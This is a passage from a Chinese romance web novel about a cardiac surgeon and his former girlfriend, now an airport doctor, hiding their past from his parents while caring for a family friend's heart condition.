他还没嚼完呢,年年就流着哈喇子凑过去了,接着就是它因为吃东西超快,金金一边揍狗一边努力干饭的美好画面。 齐眉他们都被逗得好笑,还有客人为了看它俩选择坐在吧台,今晚的吧台难得坐满了人。 江问舟在忙着处理工作,齐眉和前一晚一样,给他拿了个小台灯,他看电脑累了,就抬头看一眼齐眉。 看她在暖黄灯光里的眉眼柔和得像一幅油画。 这是以前他从来没有想象过的画面,他以为他们更多的,是在家里的餐桌边一边吃饭一边讨论自己病人的治疗方案。 半夜十二点,齐眉准时收工下班,年年和金金都已经困得睡过一觉了。 一路上谁也没说话,齐眉靠在车窗边上静静地发呆。 江问舟也不和她说话,他今天旁观了她一晚上的工作,不知道是不是周末生意好的关系,今晚客人很多,他看她几乎没停下来休息过,连续忙了几个小时,肯定累了。 直到送她回到小区门口,他才淡淡地说了句:“回去早点睡。” 齐眉点点头,神情竟然有几分乖巧。 她下了车,在车门外站定,好一会儿没动,江问舟察觉,低头朝外面看,疑惑地问她:“还有什么事?” 齐眉摇摇头,犹豫片刻,才说了句:“晚安。” 声音有些轻,像是小心翼翼的问候,但还是被夜风顺着车窗送了进来。 江问舟微微一愣,点点头道:“你也早点睡,不要熬夜。” 齐眉总觉得,他的声音里好像多了一丝暖意。 ————— 周一的医院似乎总是最忙碌的,门诊楼里到处是人。 “请05号纪达到心血管外科3号诊室就诊……” 叫号广播重复了两遍,诊室门被推开了,江问舟抬头看一眼,不仅见到了纪达和纪琏父子,还有他爸妈。 就知道他俩会一块儿来。 江问舟一边给纪达开检查单,边写边道:“纪叔叔先去做个检查,超声心动图,心电图和胸片,今天人多不一定做得完,那就明早再做,做完以后明天下午再把结果拿过来我看看,还是在这儿。” 纪达连连点头,江问舟签了字,把检查单递过去,再问孙茂芸:“今晚不回去了吧,爸妈你们陪纪叔叔回我那儿?” “房间够么?”孙茂芸想了想,问道。 纪琏说没事,“我们在附近的酒店开个房,熟悉熟悉周围环境。” “那行,舟舟你家门口密码给我。”孙茂芸点点头。 江问舟一噎,一边掏出手机发信息,一边有些无奈地抗议:“……在单位能不能不叫我小名?” 话音刚落,就听到一声憋不住的噗嗤声,一看,原来是一旁跟诊的学生发出的,顿时更加无奈。 孙茂芸看了也忍俊不禁,连忙点头答应:“好好好,下次我注意,保证不在你学生和同事面前叫你小名。” 她才说完,江眀琮就提出异议:“西西就从来不介意。” 你怎么还比不上你妹妹哇? 江问舟又噎了一下,半晌才啧了声:“西西是西西,我是我,她才多大?” “行了行了,话题打住。”孙茂芸推了一把丈夫,瞪他一眼,“尊重孩子就完了,人家都当老师的人了,你乐意别人叫你琮琮吗?” 江眀琮:“……” 看见他爸吃瘪,江问舟心里就舒服了,笑着跟纪达说了一下超声室的位置,就让他们赶紧去做检查了。 等他们出去,就收起笑脸,温声吩咐学生:“叫下一个。” “请08号病人贺昌心血管外科3号诊室就诊……” 叫号声又起,重复了几遍,新的病人进来,下午的看诊继续。 这个过程来回重复,一直到傍晚六点五十,终于目送最后一位病人离开。 江问舟松了口气,端过水杯喝了一口水,有些疑惑地拧着眉头脖子一歪,问旁边的学生:“咱们下午看了多少个病人?” “我数数……”电脑上刚退出门诊工作站,学生只好拿着笔在门诊登记本上数,“31,32……看了三十二个病人。” 可真不少,难怪喉咙这么干,江问舟点点头,说那就下班吧。 “我先回去晚查房,你锁一下门,钥匙交给门诊护士。”他嘱咐道,起身去洗手。 七点整,他出现在心外科一病区的医生办公室门口,笃笃的敲了两下门,对看过来的秦一鸣道:“咱们查一下房。” 秦一鸣今天正好值班,忙应了声,招呼两个学生帮忙拿一下病历,这就跟了上去。 一病区现在120张床,江问舟他们治疗组分到40张,全都住满了,每个病人都细细问候一番,再跟病人和家属解释一下病情,一轮下来最少要一个小时。 查完往回走时,他问秦一鸣:“明天几个出院的?八个?” 秦一鸣说是,他就说:“给我留一张床,家里有位长辈可能要住院,到时候你和沈媛看看谁管吧。” 刚说完这事,就回到了办公室,见先前跟诊的学生也在,江问舟便说了句:“早点回去休息。” 学生诶了声,跟他道谢。 “我先走了,大家辛苦。”江问舟把听诊器往门口的挂钩上一挂,冲值班的同事笑着说声明天见,这才出门往更衣室走去。 确认他走了,学生才兴冲冲地对大家说:“你们知道下午在门诊,发生了什么事吗?可太有意思啦!” 大家的注意力被他吸引,还有人问:“啊?捡钱了吗?” “不是不是。”学生连连摇头,“是见到了主任的爸妈。” 大家一愣,秦一鸣问:“为什么?他爸妈来看病?难怪他刚才跟我说让我明天留一张床,说家里有长辈可能住院。” “那倒不是,是陪别人来看病的,可能就是师兄你说的长辈吧。” 当然啦,“不过重点不是这个!” “所以是什么?”有急性子开始催了。 他嘿嘿一笑:“开完检查单,主任说让家里人晚上别回去了,住他那儿,然后主任他妈妈就问他要进门密码嘛,说的是……” 顿了顿,清清嗓子,学着当时听到的话:“舟舟你家门口密码给我。” 大家立刻便反应过来,懂了懂了,重点是这声“舟舟”。 有人边笑边说:“江主任的小名这么可爱啊,听起来幻视一个可可爱爱的小朋友。” 学生就连连点头道:“是吧!太反差了,难怪主任要提醒他妈妈,在单位别喊他小名哈哈哈!” “江主任看着怪清冷的,这个小名真的……”有同事念了一声,就忍不住哆嗦了一下,搓搓肩膀上的鸡皮疙瘩,“咦惹,感觉被齁到了,一点都不符合他的气质。” 秦一鸣觉得有些奇怪:“怎么说,你觉得他的气质是什么样的?” “比较有距离吧,分寸感特别强。”同事想了想,摸着下巴道,“很温和,也很周到,不过你们没有发现吗,虽然我们跟他也聊天,好像什么都说,但其实他没什么输出的,我记得秦一鸣你刚来的时候,我们认识了一个多月之后,你老家在哪儿之类的情况我们都知道了,就是平时聊天会不自觉带出来嘛,觉不觉得?” 我或我家怎么样、我遇到过什么事、我见过什么人、我听说过什么事……类似这种话题是在平时聊天特别容易提及的。 “但是江主任的……你们知道吗?听他说过吗?”同事反问,满意地看到大家伙都摇摇头,然后继续道,“这都三个多月了吧,我们对他还是一无所知,感觉就是……永远走不近他,永远不知道他喜欢什么那种,也可以说是比较深。” 大家认真思索一下她的话,不约而同地点点头,说还真是,有点这种感觉。 秦一鸣笑笑,摇摇头,但什么都没说。 江问舟有城府是必然的,喜怒形于色、藏不住心事和表达欲的人,不可能扳倒得了方仕平。 你会觉得他有距离感,只是因为你还不是他足够熟悉和信任的人罢了。 他越想越觉得这事有意思,干脆点开微信,找到江问舟的头像,点开,先发一个搞怪表情包,接着就告诉他,大家在开他玩笑。 江问舟也不知道现在到了哪儿,是不是在开车途中,反正很快就回了他一个:【?】 秦一鸣:【听说老大你的小名叫舟舟啊[坏笑]】 江问舟:“……” 就知道肯定会这样,不然他也不会让爸妈在单位不要喊他的小名了,真是有损他的形象,这跟突然听到有人喊自己领导二狗有什么区别:) 回到住处已经快到晚上九点,门一开,满屋的灯光就溜了出来,电视的声音紧随其后,然后是父亲同他打招呼的声音:“回来了?” 江问舟从片刻的恍惚中回过神,嗯的应了声,一边换鞋一边往客厅里看,看见金金趴在江眀琮的腿上像是刚睡醒,张大嘴巴打了个哈欠。 “舟舟回来了?吃晚饭没有?”孙茂芸从厨房里探头出来,笑眯眯地问道。 江问舟忍不住嘴角一抽,这小名真的是……平时都觉得挺好的,怎么今天就开始感觉有点奇怪了。 “……还没有。”他反应过来,应了一句。 “那正好,给你留了饭菜,赶紧洗手吃饭。”孙茂芸说完,头又缩回厨房去了。 等江问舟刚洗完手,饭菜也热好了,还有一盅瘦肉水。 父母和子女之间的默契,有时候就藏在这样的日常锁细里,他没有事先说明,但父母还是给他留了饭菜,仔细一看,还都是他爱吃的菜。 他把汤盅下面经过蒸煮后变成一块肉饼的瘦肉捣碎,边喝汤边问:“纪叔叔的检查做得怎么样,做完没有?” “做是做完了,但我们还没等结果出来就走了,都很晚了,医生还说可以手机上看。”江眀琮回答道。 江问舟应了声是,接着问:“检查医生有没有说什么?” “说了。”江眀琮拿遥控器换了个台,应道,“但是他说医生叽里咕噜说的他都不懂,就知道医生让他记得把检查结果拿给开单医生看看。” 江问舟失笑,这还真是有够真实的。 聊了几句纪达的病,江问舟一边看手机一边吃饭,直到听见孙茂芸忽然说话:“西西,你在做什么呀?” 他抬起头,听见齐眉的声音:“值班呢,干妈你在哪儿啊?背景看着不像家里。” “今天我们陪你纪叔叔来市里做检查嘛,干脆晚上就住你哥这儿了。”孙茂芸说着手机一转,朝向江问舟,“让你看看你哥。” 江问舟一愣,拿筷子的手就这么顿住。 齐眉也觉得有些猝不及防,镜头只晃动了一下,她就看到了坐在餐桌前的江问舟。 还是穿着衬衫,袖子卷到手肘,衣扣解开了两颗,衣领看着有些凌乱,头发似乎也没有那么整齐,刚下班的人,皱起的眉头里藏着疲惫。 现在都九点多了,他还在吃饭,齐眉看着他,仿佛看到了他里面前的样子。 他总是忙,晚饭吃得像宵夜,吃完饭还得继续忙,像陀螺一样,不停地转啊转。 她曾经试图劝过,但后来发现根本没用,不是他不想,而是工作不允许,忙的时候,这个点还在手术台上呢。 “……舟哥这么晚才下班啊?”她回过神,没话找话似的说了句,生怕孙茂芸察觉她的走神。 “忙嘛。”孙茂芸叹气,“所以有时候我觉得你没去医院上班也挺好的,起码轻松一点。” 话音刚落,就听见齐眉那边突然响起一阵急促的铃声。 齐眉接起电话,回了句:“急救收到。” 接着就对孙茂芸道:“干妈,有旅客突发不适,我得去处理一下,我就先挂电话了哈。” 说完不等孙茂芸反应过来,她就立刻切断了通话。 看着回到聊天框的手机页面,孙茂芸回过神,忍不住叹气:“得,她这也不轻松。” “人活着哪有轻松的。”江眀琮不太在意地说道,“辛苦一点,累一点,都没什么,人平安就好。” 见多了妻离子散家破人亡的故事,他心大得很,觉得只要人平安,其他都能忍忍。 江问舟这时才从惊讶中慢慢回过神,想起那天从申城开会回来,在机场见到齐眉和同事们抢救倒地旅客的一幕。 不知道她今晚遇到的,又是什么状况。 容城机场,T2航站楼国内到达大厅,通往出租车上客点的通道路口。 齐眉和陈羽丹提着医疗箱匆匆赶到时,就见一位穿着黑色裙子的年轻女士坐在休息椅上,捂着肚子,眉头皱得紧紧的,神情看上去十分难受,一旁还有一位和她年龄相仿的年轻男性,正扶着她,同样满脸焦急。 而地上还有一滩呕吐物。 见到她们过来,他立刻便露出如释重负的表情:“医生,她过敏了。” 齐眉连忙上前检查病人的情况,看着她手臂上的红疹问道:“是吃了什么东西,或者碰到什么,才过敏的吗?” “吃了一颗莫西沙星。”病人有些虚弱地回答道,还不停地抓挠胳膊。 “为什么吃?以前有过这种情况吗?”齐眉紧接着问,并示意陈羽丹联系120派车。 “牙疼,疼两天了,还有点咳嗽,我以为是细菌感染……”对方懊恼地回答道,“我有青霉素过敏,但是莫西沙星没有的,以前吃都没问题,不知道为什么今年会这样。” 她的眼睛都是红的,据她说也是痒得厉害,齐眉赶紧让她张大嘴巴检查喉咙。 过后听她说:“医生,我包里还有那个……肾上腺素笔,现在要用吗?我喉咙有点麻。” “没有肿,可以暂时不用,不过我们现在要送你去医院。” 齐眉话音刚落,对讲机里就传出指示,说120救护车已经停在出租车上客点门口了。 听诊器往脖子上一挂,她和陈羽丹把病人一架,就匆匆往出口走。 20-30 第21章 第二十一章(二合一)她要去江问舟家…… 救护车一路呜哩哇啦的将齐眉和过敏旅客,还有她的同行伙伴一路拉到离机场最近的省二医院。 在医院急诊打了一针异丙嗪和糖皮质激素,病人的过敏症状很快就好转了。 齐眉见没什么大碍了,这才放心地再次坐上120车回去。 开车的司机大哥,还有跟车的120医生都是老熟人了,这会儿没事,大家便有一句没一句地闲聊。 “前天半夜两点的时候,我在机场高速入口那里,拉了两个喝多了打架的,打得头破血流,拉去医院之后一问,你们知道为什么打架吗?” 齐眉捧场地问为什么,120医生就又好气又好笑地道:“他们俩抢一个玩具!一个什么……圣斗士的手办?还是什么玩意儿,争不赢的那个不服气,就打了另一个一拳,那一个挨打了不服气,又喝了酒,酒精一冲,立刻就上头了,120还是代驾给叫的呢。” 齐眉听得一愣一愣的,半晌才反应过来:“……这算不算男人至死是少年?” “算呗,怎么能不算。”司机大哥吐槽道,“这不小孩儿才能干得出来的事吗?俩大男人加起来都六十岁了,还这样呢,真想给他们一人一鞋底。” 齐眉忍俊不禁,刚想附和两句,就听到一阵铃声响起,120医生接起电话,齐眉就听到一声奶声奶气的:“爸爸!” 原来是孩子打来的,他爱人在那头说:“你女儿想你了哦,在忙吗?” “刚送病人去医院出来。”简单解释一句,就继续笑逐颜开地哄孩子,“宝宝在做什么呀?” 小朋友应该还很小,说话都还不太利索,只会爸爸爸爸地叫,要妈妈教才会说一声想。 齐眉靠在车厢壁上,一边看着手机,一边听对方用夹得不得了的声音跟女儿说话。 她和司机大哥谁也没说话,光线明亮的车厢里,孩童的稚言稚语就像是能驱散疲惫的良药。 静静听了一会儿,齐眉想起还没问纪叔叔的检查情况,忙给孙茂芸发信息。 孙茂芸的电话下一刻就打过来了,先问她:“忙完了?” “回机场的路上呢。”齐眉乖巧应道,接着问,“纪叔叔的检查结果怎么样啊?” “做检查的医生说的我们听不大懂,感觉不是很好。”孙茂芸实话实说,“这个得问你哥。” 齐眉刚哦了声,就听她扬声问江问舟:“舟舟,你现在能看得到你纪叔叔的检查结果吗?就是……有没有什么联网的程序之类?” 齐眉:“……”还得是亲妈啊。 让医生下班了也得继续加班,这事只有亲妈才能干得理直气壮,一点都不亏心,还不会被蛐蛐。 她隐隐约约听见江问舟的声音,由远及近,最后只听清了一句:“得用单位的内网才能看到,明天到诊室再给你们一块儿解释。” 接着就是孙茂芸说:“你哥说看不到呢。” 齐眉哦了声,问说:“那你们明天什么时候去医院啊?上午还是下午?” “下午呗,你哥下午才门诊,上午得做手术呢。”孙茂芸回答道,又问她,“中午过来吃饭好不好?” 齐眉一愣,有些磕巴地问:“……去、去哪儿啊?我、我哥那儿?” 她的反应把孙茂芸给逗乐了,忍俊不禁地啊一声:“不然呢,你还想去哪儿?” “可是……”齐眉更犹豫了,“我、我方便……去吗?” 孙茂芸不知道她为什么这么说,但觉得很好笑,反问她:“为什么不适合?又不是外人,来自己哥哥家吃顿饭,有什么不适合的?你就当走亲戚,会不会?” 齐眉讷讷,既觉得心虚,又不好意思说,犹豫半晌还是哦了一声。 “……那、那我是下班直接过去,还是什么时候?” “午饭吧,差不多了你再过来。”孙茂芸说,“原本该跟你纪叔叔他们一块儿吃的,但他俩说不用,要在酒店好好休息,既然这样,我们就先吃饭,吃过饭再去跟他们汇合。” 齐眉的心思完全不在频道上了,根本听不进她接着说了什么,只心里想着一件事。 她要去江问舟家了,但却是以妹妹的身份。 隔着电话,孙茂芸没发现齐眉的不对劲,叽里咕噜把自己要说的话说完,最后问她明天想吃什么菜。 齐眉连忙反应过来:“……呃、都可以,干妈你做几个简单的吧,或者……我顺路买点熟食过去?” “这怎么行。”孙茂芸一口否决她的提议,“随便吃点多没营养,哎呀,不要你给意见了,真是的,年轻人就是不知道好好吃饭。” 听起来好嫌弃的样子,齐眉顿时讪讪。 但到这里电话也讲得差不多了,孙茂芸最后问:“你刚才要处理的旅客没事吧?” “没事,就是过敏了,送去医院打了针,好多了。”齐眉忙认真回答道。 “那就好,你晚上好好休息啊,别喝咖啡,一晚上很快就过了的。”她嘱咐道,说完又叹口气,“尽量不喝吧。” 齐眉听出来她的纠结,笑着应了声好,让她和江眀琮也早点休息,这才把电话挂了。 孙茂芸刚把电话挂断,正准备跟丈夫吐槽一下齐眉,就见头顶突然多出一片阴影。 她吓了一跳,抬头看见江问舟不知道什么时候又从书房出来了,正端着水杯站在她旁边,也就是客厅通往卧室的入口。 “哎哟!”孙茂芸惊呼一声,拍拍心口,又伸手打他一下,“你怎么走路没声音啊?吓死我了,人吓人,会吓死人的好不好!” 江问舟一脸无辜:“我一直在这儿站着,都没走动,哪儿来的走路声音?不信你问爸。” 江眀琮闻言立刻拒绝三连:“不要拉我下水啊,我们可不熟,别问我。” 这话说的……江问舟直接没搭理他,只用看起漫不经心的随意语气问道:“妈刚才是跟西西打电话?” “除了她还有谁嘛。”孙茂芸一面回答,一面伸手拿过水壶,要给他加水,“我说让她明天中午过来吃饭,不用自己做一遍了嘛,她问我是不是不方便过来,你说好不好笑?自己家有什么不方便来的。” 江问舟闻言没出声应和,只目光微微一闪。 孙茂芸继续道:“明天我多准备点吃的,给你放冰箱吧?热热就能吃,想吃什么?” 江问舟眨眨眼,想说随便,但话到嘴边又想到刚才她数落齐眉的话,说她不好好吃饭。 立刻就改口了,“云吞或者饺子吧,这个吃起来方便,您方便做么?” “这有什么不方便的,快得很,云吞皮市场就有卖的。”孙茂芸答应着,又说要问问齐眉想吃什么馅的。 江问舟觉得她应该是没空搭理自己了,便端着水杯回到书房。 坐下以后看着电脑屏幕,看了一会儿发现好像也看不进去,干脆把鼠标往旁边一推,仰头靠到椅背上,盯着对面的书架开始出神。 书架上有一个陶瓷花的摆件,比他半条胳膊还矮一点,青花瓷花瓶和牡丹花都是陶瓷做的,很精致逼真,是齐眉大五实习结束,研究生还没开学的时候,和室友一起去景德镇玩时,带回来的礼物。 给他的时候,说是觉得这个很漂亮,所以就买了,没什么特别的寓意。 等到在一起了,再说起这个礼物,她却说:“送花可是我先送的,你快回礼!” 改口改得可真利索啊,无非是在点他,呐呐呐,你都不给女朋友送花,你合适吗?! 他表示虚心受教,转天去吃饭的路上,有记得给她带一束花,恰好是红色的玫瑰花。 她把花抱在怀里,一边说也还行吧,一边嘴角压都压不住,眼睛里有闪闪烁烁的星星。 那时候多好啊,什么都不想,只专心享受爱情的甜蜜。 江问舟回过神,叹了口气,视线落在打印机上。 打印机也是从申城打包带回来的,上面还有齐眉贴的贴纸,是某个动漫和奶茶联名时送的周边,去买奶茶时恰好送了,她便随手到处贴。 她买的那些乱七八糟的书也都带回来了,在书架上占据了不小的空间。 还有这个水杯,其实也是她买的,甚至就连他现在身上穿的睡衣,也是她给他置办的…… 到处都是她来过的证明。 幸好,也都在这儿了,书房门一关,她应该不会未经过允许就擅自进来。 她这人最会看形势,很知道什么时候可以得寸进尺,什么时候要保持边界感。 江问舟呼吸顿了一下,有些不高兴地哼了声,伸手拿过鼠标,往下拉了拉文献的网页。 晚上十一点,医疗点的工作时间结束,齐眉和陈羽丹把门关上,从里面反锁,灯都熄了,这才进了休息室。 陈羽丹拿着手机对齐眉道:“眉姐你先去洗漱吧,我跟家里打个电话。” 齐眉应了声好,拿着换洗衣物和洗漱包进了卫生间。 隔着隔音效果一般般的门,她似乎听到陈羽丹的语气慢慢变得有些争执,然后很快又安静下去。 就像一簇火苗,还没来得燃烧到最高点,就被扑灭了。 齐眉匆匆洗漱结束,出来时看见陈羽丹正低着头看手机,身影不知道为什么看起来有些落寞和难过。 她有些不知道要不要问发生了什么事。 问吧,有探听隐私的嫌疑,不问吧,好歹同事一场,相处愉快,不闻不问是不是有点太冷漠了? 犹豫半晌,齐眉还是决定算了。 她想起来江问舟教过她的:“都是成年人了,消化情绪的能力应该有,不跟你说,要么觉得没必要往外说,要么不想你知道,你要允许每个人都有自己不想告诉别人的秘密。” 不过这人就是得把口,自己这么对他的时候,他就不高兴了。 不是要允许每个人都有自己不想告诉别人的秘密咩? 齐眉努努嘴,若无其事地对陈羽丹道:“洗澡睡觉啦。” 陈羽丹抬头,脸上挤出一个勉强的笑脸来,笑着应了声好。 一看就有事,但到最后她也没跟齐眉说什么,一觉就到了早上六点半,起来简单洗漱,赶在六点五十五,将医务室的灯都打开了。 七点整,医务室开门,一天的工作又开始了。 九点整,齐眉和接班的刘医生交了班,特地看了一眼陈羽丹,见她神色和平时没什么两样,还是笑眯眯的,看起来很元气的样子。 似乎昨晚外漏的低迷情绪在经过一夜的休息之后,已经完全消化,恢复如常。 齐眉忍不住偷偷松口气,同大家道了声再见,就背着包脚步轻快地下班走了。 她把年年从宠物店接回家,顺便在小区里遛了它大半个小时,看它累了,这才把它带上楼。 安顿好它,又换了身衣服,这才出门往去江问舟那儿。 青年路的清晖嘉园小区二单元802室,她以前只看过户型图,还从来没有真的去过一次。 可就算闭着眼,她也知道在哪儿,该从哪条路过去。 ————— 上午十一点四十分,齐眉的车在清晖嘉园小区门口停下,刚登记好访客信息,手机就响了。 孙茂芸来电话问她到哪儿了,她一面跟保安道辛苦,一面急忙忙地回答道:“到小区门口啦,马上上去。” 小区有地面的公共停车位,这个钟点起码半数的车位都空着,齐眉找地方停好车,下来之后一边走一边认真打量着周围的环境。 这里的绿化做得很好,有很宽大的草坪,有高低错落的树木和灌木丛,放眼都是绿色,俨然一座闹市中的幽静花园。 齐眉记得当年买房是在春节刚过,孙茂芸和江眀琮来看房,看完回去和他们打电话时说到小区环境,说洋紫荆和白花紫荆开得*正好,到处粉粉白白的,风一吹,花瓣四处飞舞,别提多好看了。 她当时还惊叹这岂不是很浪漫,拍照肯定很出片。 “那等下次我们放假回去,就去那里给你拍照。”当时江问舟这么跟她说。 但不知道为什么,下次总也没来,他们也总是赶不上紫荆花开的时节。 可能这就是冥冥之中的某种预兆吧。 想到这里,齐眉突然觉得意兴阑珊,不再有心思赏景,加上太阳也晒,她索性加快脚步往二单元走去。 走到单元楼门口,恰好碰见下来扔垃圾的孙茂芸,立刻小跑着过去:“干妈!” “诶哟,这么巧啊。”孙茂芸笑眯眯地伸手接她,还往她身后看看,“自己来的?怎么不带年年。” 齐眉讪笑:“带它不方便嘛,一会儿还要去医院呢,而且要是把舟哥家给拆了,多不好。” 孙茂芸闻言突然扭过头来,一声不吭地盯着她看起来。 “……干、干妈,怎么了?”齐眉被她看得一愣,心突然怦怦狠跳几下。 那目光像是能洞察一切,要将她所有心事都看透。 她的神经在这一刻紧紧绷起,心里念头急转,干妈是不是发现了什么不对劲? 为什么? 难道我最近表现太明显了? 可是我也没做什么啊,到底哪里穿帮了? 难道是江问舟穿帮了?救命…… 就在她快要受不了的那一刻,孙茂芸的眼神一动,伸出手指戳了戳她的额头,语气似乎有些无奈:“你呀,长大了反倒拘束了。” 齐眉一怔,实在反应不过来。 只听她继续道:“你跟你哥从小到大关系一直很好的,大学又都在申城相依为命过……啊,我能用这个词吗?差不多这个意思吧,就这个情分,也才两三年没怎么相处,怎么感觉你们就生分了?” “……有、有吗?”齐眉讪讪,一面庆幸原来不是自己想的那样,一面又不知道该怎么回答。 “有啊,我的感觉不会错的。”孙茂芸哼哼两声,“本来我还不是很确定,但是刚才你一说担心年年把你哥家拆了,我就确定了。” 齐眉正想着怎么才能把这事糊弄过去呢,闻言一愣,忍不住发出一声:“……啊?” 见她不明白,孙茂芸就问了一句:“你带年年回家,会担心它把咱家拆了吗?” 是因为生分了,关系没那么好了,才会有这种顾虑——不管这种想法是对是错,总之,它成了孙茂芸判断齐眉和江问舟现今关系的重要依据。 齐眉恍然大悟,同时继续讪讪,半晌才解释道:“只是怕麻烦……而已,没有生分啦……” 干巴巴的,听着就让人觉得她这辩解很没有说服力。 孙茂芸拉着她进电梯,捏着她的手温声劝道:“你们都到这个岁数了,舟舟说不定用不了多久就会结婚,到时候你嫂子进门,你就真的不好和他亲近了,可是……” 她顿了顿,有些突兀地叹口气:“感情这种东西,就是要你来我往才能相处出来的,亲戚之间说是说互相帮助,但关系不好,帮起来就肯定不舍得落力。” 尤其她这样的孩子,既没有血缘,如果连相处的情分都没有,以后等她和老江走了,她碰上什么事,可怎么办呢? 孙茂芸握着她的手又揉了揉,轻轻拍拍。 齐眉先是被她这番话说得一愣,旋即明白过来,忍不住眼眶有些发热。 但又不想让气氛变得沉重,忙笑道:“不会的,是因为很久没见了嘛,多少有点陌生,过段时间就好了,再说……” 她顿了顿,侧头靠了一下孙茂芸的头,笑道:“我不止舟哥一个哥哥呢,阳哥和清葭姐也好的,您别担心,有事我不会找不到人帮忙的。” 说完立刻反问:“您怎么好端端的突然想到这事?是不是昨天陪纪叔叔去医院,见到什么事,被吓到了?” “那倒没有,想到就说了。”孙茂芸摇摇头,接着开始吐槽起来,说医院多么多人,感觉到哪儿都要排队,怎么那么多人呢? 齐眉静静听着,等电梯停了,跟着她往外走,边走边打量楼道里的格局。 两梯四户,江问舟这套在南面,平方数大一点,朝向也好,所以当时平方单价也比另一边的两套要贵上几十,但孙茂芸还是做主拿下了。 说的理由是:“一两百万都出了,还差这点差价?这房子说不定要住几十年的,就该买好一点。” 江问舟当时还跟齐眉吐槽:“说得这么霸气,不知道还以为她全款拿下的呢,结果还得我自己还房贷。” 难道不应该吗?齐眉乜他,揶揄说:“你不会想说没钱还房贷吧江博士?” 江问舟被她逗笑起来,拿脑袋去拱她颈窝,说确实是没有了,以后就得靠她赏口饭吃了。 齐眉看着眼前黑色的门,还没进去,和这套房子有关的记忆就开始汹涌而来了。 她忙垂下头,恰好孙茂芸推门,门一开,她便一眼看见门口的地垫。 地垫花里胡哨的,事事如意平安喜乐之类的吉祥话错落有致地排列着,她看一眼便呼吸有些凝滞了。 ……不是,这人怎么想的,二十块的地垫你也不扔,还带回来继续用? 这合适吗?这可是新家!新家!难道不该从里到外全都换一遍新的吗?! 刚进门准备换鞋,就见金金跑了过来,站在半米远的地方好奇地看着她。 齐眉弯腰伸手给它闻闻,见它没跑,就趁机摸摸它的头,从头上一直摸到它的大尾巴。 “西西回来啦。”江眀琮在看新闻,闻声探头跟她打招呼。 齐眉应了声,低头去换鞋,拖鞋是全新的,什么配饰都没有的纯色,她松了口气,但随即又似乎有一丝说不清道不明的失落。 换好鞋往里走,过了玄关就是餐厅,黑色的餐桌椅,对面是整墙的橱柜,咖啡机饮水机都有,可仔细一看,咖啡机好像还是全新的,集水盘上的胶带都还没撕掉。 嵌入式的大冰箱旁边是厨房的推拉长虹玻璃门,炖汤的香味正一点点往外飘。 孙茂芸回来就进了厨房,还喊江眀琮:“老江,过来帮忙,快点,别跟母鸡孵蛋一样坐在沙发上了!” 齐眉忍俊不禁,要去帮忙,刚靠近门口就被一碗小番茄打发走了。 她端着小番茄,脚边跟着金金这个跟脚猫,一起往客厅走。 灰色的沙发,浅胡桃木色的方茶几,桌腿是黑色的,地上铺着剑麻材质的地毯,金金一上去就开始磨爪子,看出来了,这是为它准备的。 客厅封了阳台,做成抬高的地台,铺上木地板,就多了一个休闲区,一头是电动猫砂盆,旁边还有一个黑色的方形木底座,上面养着一盆蝴蝶兰,另一头是猫爬架,猫爬架下方养着两盆猫草和猫薄荷。 地台中间有一张懒人沙发,布置得简单随意,阳光从窗户外照进来,恰好落在沙发上,看上去明亮又温暖。 “西西,吃饭了。”背后传来江眀琮的招呼声,齐眉连忙转身。 中午有鱼有虾,汤是木棉花煲龙骨,齐眉被孙茂芸劝着喝了两碗,觉得自己小肚子都喝出来了。 吃完午饭,一看时间已经快一点了,赶紧收拾收拾出门。 去医院的路上会经过回齐眉住处的路口,坐在后面的孙茂芸就攀着驾驶座的椅背,同正开车的齐眉道:“早知道要回来,当初就给你哥也买在这边,离单位多近,还能多睡几分钟。” 再开个十来二十分钟就到一附院了,怎么都比清晖嘉园那边近。 齐眉闻言笑笑,安慰道:“那边的学区更好。” 至于别的就不说了。 说了没几句话,就远远地看见容医大一附院的“十”字,齐眉估摸着这时候那边没地方停车,就把车停到旁边的酒店停车场了。 下了车,他们跟已经下来大堂的纪达父子俩汇合,撑着太阳伞,边说话边往医院走。 这时候已经快到下午两点,但下午门诊是两点半才开始,齐眉问:“要提前跟舟哥说吗?” “不用。”纪达抢着回答道,“咱们按规矩来,不搞那些攀关系插队的小动作。” 江眀琮也赞同地点点头,齐眉便看一眼孙茂芸,见她无语地撇撇嘴,便忍俊不禁地笑笑。 那就等着吧,反正也没多久了。 江问舟上午的手术一直忙到一点二十才结束,回到科室,匆忙吃了几口米饭,又有患者家属来找。 放下饭盒出去跟对方解释患者病情,顺便把后续治疗的知情同意书签了,已经到了下午两点十五分。 “我门诊时间到了,还有什么问题可以问一下管床医生。” 同病人解释一句,他就拿上听诊器要去门诊,刚走到护士站,又想起来还没收拾的饭盒,立刻掉头往回走。 才吃了一半的盒饭就这样喂了垃圾桶。 接着匆匆下楼,电梯在四楼停下,他穿过长长的连廊,又经过楼梯间门口,走进门诊大楼的四楼。 一眼便看见现在宣传栏前面的齐眉,正仰着头,一边抠脸一边认真阅读各位医生的简介,边看边念念有词似的。 他匆促的脚步瞬间刹车,驻足看了她一会儿,才喊了一声:“西西。” 齐眉听见,立刻回过神循声望去。 看见江问舟就站在不远处,一身板正的白大褂,领口恰到好处地露出领带结,西裤的黑和工衣的白碰撞在一起,愈发衬得他的眉眼干净温和,气质淡然沉稳。 “我哥穿白大褂就是最帅的。”她曾经特别骄傲地说过这样的话。 大一的时候,入学就组织大家订了白大褂,拿到手后她高兴得不得了,跑去他的实验室找他,要跟他一起拍照。 “我以后,也会像你一样!” 那是他们第一张穿着白大褂的合照,但最正式的一张,其实是几年后她开始实习,那个时候她的白大褂已经换了一件,胸片口袋上方有院徽和单位名称。 “申城大学附属第一医院”,他们穿着同样的衣服,她曾经以为他们会有一个同去同归的未来。 可是现在,她的工装已经不是这样的大褂了。 “干妈,舟哥来了。”齐眉回过神,朝他笑笑,扭头冲孙茂芸喊。 江问舟也收回凝在她脸上的目光,冲几位长辈笑着点点头:“再等几分钟,马上就叫号了。” 大家跟着他一起往诊室走,齐眉靠在门边,看他边洗手边跟学生说可以开始叫号了,然后往自己的椅子上一坐,从抽屉里拿出来一叠空白的检查单。 复诊看结果的号,通常是在首诊病人前面的,他们来得又早,所以江问舟一开始叫号,他们就进去了。 坐下之后,纪琏把早上拿到的报告单递给他看,室内一片安静,随着他渐渐皱起的眉头,气氛开始变得紧张。 就在孙茂芸有些按捺不住要问的时候,他突然抬头,看了齐眉一眼。 然后把手里的几份检查报告递给她,温声道:“说说看,这要下什么诊断。” 齐眉一愣,错愕地抬起手指,反指着自己的鼻尖,愣愣地问:“……我吗?” 第22章 第二十二章(二合一)是妹妹还是前女…… 齐眉觉得可真是太无语啦! 